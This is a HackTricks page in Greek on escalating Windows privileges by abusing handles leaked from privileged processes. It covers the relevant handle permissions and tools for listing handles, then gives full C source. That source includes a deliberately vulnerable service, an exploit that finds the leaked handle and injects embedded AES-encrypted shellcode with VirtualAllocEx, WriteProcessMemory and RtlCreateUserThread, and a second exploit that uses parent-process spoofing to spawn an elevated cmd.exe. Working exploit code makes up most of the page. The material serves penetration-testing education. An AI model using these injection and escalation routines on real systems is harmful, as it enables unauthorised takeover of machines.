32 KiB
Leaked Handle Exploitation
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Εισαγωγή
Οι χειριστές σε μια διαδικασία επιτρέπουν την πρόσβαση σε διάφορους πόρους των Windows:
Έχουν ήδη υπάρξει αρκετές περιπτώσεις κλιμάκωσης προνομίων όπου μια προνομιακή διαδικασία με ανοιχτούς και κληρονομούμενους χειριστές έχει εκτελέσει μια μη προνομιακή διαδικασία δίνοντάς της πρόσβαση σε όλους αυτούς τους χειριστές.
Για παράδειγμα, φανταστείτε ότι μια διαδικασία που εκτελείται ως SYSTEM ανοίγει μια νέα διαδικασία (OpenProcess()
) με πλήρη πρόσβαση. Η ίδια διαδικασία δημιουργεί επίσης μια νέα διαδικασία (CreateProcess()
) με χαμηλά προνόμια αλλά κληρονομώντας όλους τους ανοιχτούς χειριστές της κύριας διαδικασίας.
Στη συνέχεια, αν έχετε πλήρη πρόσβαση στη διαδικασία με χαμηλά προνόμια, μπορείτε να αποκτήσετε τον ανοιχτό χειριστή της προνομιακής διαδικασίας που δημιουργήθηκε με OpenProcess()
και να εισάγετε ένα shellcode.
Ενδιαφέροντες Χειριστές
Διαδικασία
Όπως διαβάσατε στο αρχικό παράδειγμα, αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή διαδικασίας από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε να δείτε πώς να εκμεταλλευτείτε οποιονδήποτε χειριστή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
- PROCESS_ALL_ACCESS
- PROCESS_CREATE_PROCESS
- PROCESS_CREATE_THREAD
- PROCESS_DUP_HANDLE
- PROCESS_VM_WRITE
Νήμα
Παρόμοια με τους χειριστές διαδικασίας, αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή νήματος από μια προνομιακή διαδικασία με αρκετές άδειες, θα είναι σε θέση να εκτελέσει τυχαίο κώδικα σε αυτήν.
Στο αυτό το εξαιρετικό άρθρο μπορείτε επίσης να δείτε πώς να εκμεταλλευτείτε οποιονδήποτε χειριστή διαδικασίας που έχει οποιαδήποτε από τις παρακάτω άδειες:
- THREAD_ALL_ACCESS
- THREAD_DIRECT_IMPERSONATION
- THREAD_SET_CONTEXT
Χειριστές Αρχείων, Κλειδιών & Τμημάτων
Αν μια μη προνομιακή διαδικασία κληρονομήσει έναν χειριστή με άδειες ισοδύναμες με γράψιμο σε ένα προνομιακό αρχείο ή μητρώο, θα είναι σε θέση να επικαλύψει το αρχείο/μητρώο (και με πολλή τύχη, να κλιμακώσει τα προνόμια).
Οι Χειριστές Τμημάτων είναι παρόμοιοι με τους χειριστές αρχείων, το κοινό όνομα αυτού του είδους αντικειμένων είναι "File Mapping". Χρησιμοποιούνται για να εργάζονται με μεγάλα αρχεία χωρίς να κρατούν ολόκληρο το αρχείο στη μνήμη. Αυτό καθιστά την εκμετάλλευση κάπως "παρόμοια" με την εκμετάλλευση ενός Χειριστή Αρχείου.
Πώς να δείτε τους χειριστές διαδικασιών
Process Hacker
Process Hacker είναι ένα εργαλείο που μπορείτε να κατεβάσετε δωρεάν. Έχει πολλές εκπληκτικές επιλογές για να επιθεωρήσετε διαδικασίες και μία από αυτές είναι η ικανότητα να βλέπετε τους χειριστές κάθε διαδικασίας.
Σημειώστε ότι για να δείτε όλους τους χειριστές όλων των διαδικασιών, απαιτείται το SeDebugPrivilege (οπότε πρέπει να εκτελέσετε το Process Hacker ως διαχειριστής).
Για να δείτε τους χειριστές μιας διαδικασίας, κάντε δεξί κλικ στη διαδικασία και επιλέξτε Χειριστές:
Μπορείτε στη συνέχεια να κάνετε δεξί κλικ στον χειριστή και να ελέγξετε τις άδειες:
Sysinternals Handles
Το Handles δυαδικό από το Sysinternals θα καταγράψει επίσης τους χειριστές ανά διαδικασία στην κονσόλα:
LeakedHandlesFinder
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τους διαρρέοντες χειριστές και ακόμη και να τους εκμεταλλεύεστε αυτόματα για να κλιμακώσετε τα προνόμια.
Μεθοδολογία
Τώρα που ξέρετε πώς να βρείτε τους χειριστές διαδικασιών, αυτό που πρέπει να ελέγξετε είναι αν κάποια μη προνομιακή διαδικασία έχει πρόσβαση σε προνομιακούς χειριστές. Σε αυτή την περίπτωση, ο χρήστης της διαδικασίας θα μπορούσε να είναι σε θέση να αποκτήσει τον χειριστή και να τον καταχραστεί για να κλιμακώσει τα προνόμια.
{% hint style="warning" %} Είχε αναφερθεί προηγουμένως ότι χρειάζεστε το SeDebugPrivilege για να έχετε πρόσβαση σε όλους τους χειριστές. Αλλά ένας χρήστης μπορεί ακόμα να έχει πρόσβαση στους χειριστές των διαδικασιών του, οπότε μπορεί να είναι χρήσιμο αν θέλετε να κάνετε privesc μόνο από αυτόν τον χρήστη για να εκτελέσετε τα εργαλεία με τις κανονικές άδειες του χρήστη.
handle64.exe /a | findstr /r /i "process thread file key pid:"
{% endhint %}
Ευάλωτο Παράδειγμα
Για παράδειγμα, ο παρακάτω κώδικας ανήκει σε μια υπηρεσία Windows που θα ήταν ευάλωτη. Ο ευάλωτος κώδικας αυτού του δυαδικού αρχείου υπηρεσίας βρίσκεται μέσα στη Συνάρτηση Εκμετάλλευσης
. Αυτή η συνάρτηση ξεκινά δημιουργώντας μια νέα διαδικασία χειρισμού με πλήρη πρόσβαση. Στη συνέχεια, δημιουργεί μια διαδικασία χαμηλών δικαιωμάτων (αντιγράφοντας το χαμηλό δικαίωμα του explorer.exe) εκτελώντας C:\users\username\desktop\client.exe. Η ευπάθεια έγκειται στο γεγονός ότι δημιουργεί τη διαδικασία χαμηλών δικαιωμάτων με bInheritHandles
ως TRUE
.
Επομένως, αυτή η διαδικασία χαμηλών δικαιωμάτων είναι σε θέση να αποκτήσει το χειριστήριο της διαδικασίας υψηλών δικαιωμάτων που δημιουργήθηκε πρώτα και να εισάγει και να εκτελέσει έναν κώδικα shell (βλ. επόμενη ενότητα).
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")
TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;
//Find PID of a proces from its name
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hProcSnap);
return pid;
}
int Exploit(void) {
STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;
// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());
// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;
// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}
// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}
void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
SetEvent( stopServiceEvent );
return;
case SERVICE_CONTROL_PAUSE:
break;
case SERVICE_CONTROL_CONTINUE:
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;
serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );
if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );
// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
Exploit();
WaitForSingleObject( stopServiceEvent, -1 );
// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;
// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}
void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );
if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );
if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}
int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};
StartServiceCtrlDispatcher( serviceTable );
}
return 0;
}
Exploit Example 1
{% hint style="info" %} Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που θα εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας. {% endhint %}
Σε αυτό το παράδειγμα μπορείτε να βρείτε τον κώδικα ενός πιθανού exploit για C:\users\username\desktop\client.exe.
Το πιο ενδιαφέρον μέρος αυτού του κώδικα βρίσκεται στη GetVulnProcHandle
. Αυτή η συνάρτηση θα ξεκινήσει να ανακτά όλα τα handles, στη συνέχεια θα ελέγξει αν κάποιο από αυτά ανήκει στην ίδια PID και αν το handle ανήκει σε μια διαδικασία. Εάν πληρούνται όλες αυτές οι προϋποθέσεις (βρεθεί ένα προσβάσιμο ανοιχτό handle διαδικασίας), προσπαθεί να εισάγει και να εκτελέσει ένα shellcode εκμεταλλευόμενο το handle της διαδικασίας.
Η εισαγωγή του shellcode γίνεται μέσα στη Inject
συνάρτηση και θα γράψει απλώς το shellcode μέσα στην προνομιακή διαδικασία και θα δημιουργήσει ένα νήμα μέσα στην ίδια διαδικασία για να εκτελέσει το shellcode).
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
return 0;
}
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;
pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}
int main(int argc, char **argv) {
int pid = 0;
HANDLE hProc = NULL;
// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
unsigned int payload_len = sizeof(payload);
printf("My PID: %d\n", GetCurrentProcessId());
getchar();
// find a leaked handle to a process
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// d#Decrypt payload
AESDecrypt((char *) payload, payload_len, key, sizeof(key));
printf("[+] Sending gift...");
// Inject and run the payload in the privileged context
Inject(hProc, payload, payload_len);
printf("done.\n");
}
getchar();
return 0;
}
Exploit Example 2
{% hint style="info" %} Σε ένα πραγματικό σενάριο πιθανότατα δεν θα μπορείτε να ελέγξετε το δυαδικό αρχείο που πρόκειται να εκτελεστεί από τον ευάλωτο κώδικα (C:\users\username\desktop\client.exe σε αυτή την περίπτωση). Πιθανότατα θα συμβιβάσετε μια διαδικασία και θα χρειαστεί να δείτε αν μπορείτε να αποκτήσετε πρόσβαση σε οποιοδήποτε ευάλωτο handle οποιασδήποτε προνομιακής διαδικασίας. {% endhint %}
Σε αυτό το παράδειγμα, αντί να εκμεταλλευτείτε το ανοιχτό handle για να εισάγετε και να εκτελέσετε ένα shellcode, θα χρησιμοποιηθεί το token της προνομιακής διαδικασίας με το ανοιχτό handle για να δημιουργηθεί ένα νέο. Αυτό γίνεται στις γραμμές από 138 έως 148.
Σημειώστε πώς η λειτουργία UpdateProcThreadAttribute
χρησιμοποιείται με το χαρακτηριστικό PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
και το handle της ανοιχτής προνομιακής διαδικασίας. Αυτό σημαίνει ότι το δημιουργημένο νήμα διαδικασίας που εκτελεί _cmd.exe_** θα έχει το ίδιο προνόμιο token με την ανοιχτή διαδικασία handle**.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
HANDLE GetVulnProcHandle(void) {
ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();
pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");
printf("[+] Grabbing handles...");
while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);
if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}
printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);
// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];
// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;
objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;
// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}
// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {
// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}
// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;
pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;
free(objectTypeInfo);
free(objectNameInfo);
}
return hProc;
}
int main(int argc, char **argv) {
HANDLE hProc = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
int pid = 0;
SIZE_T size;
BOOL ret;
Sleep(20000);
// find leaked process handle
hProc = GetVulnProcHandle();
if ( hProc != NULL) {
// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// Spawn elevated cmd process
ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );
if (ret == FALSE) {
printf("[!] Error spawning new process: [%d]\n", GetLastError());
return -1;
}
}
Sleep(20000);
return 0;
}
Άλλα εργαλεία και παραδείγματα
Αυτό το εργαλείο σας επιτρέπει να παρακολουθείτε τα leaked handles για να βρείτε ευάλωτα και ακόμη και να τα εκμεταλλευτείτε αυτόματα. Έχει επίσης ένα εργαλείο για να διαρρεύσει ένα.
Ένα άλλο εργαλείο για να διαρρεύσει ένα handle και να το εκμεταλλευτεί.
Αναφορές
- http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/
- https://github.com/lab52io/LeakedHandlesFinder
- https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.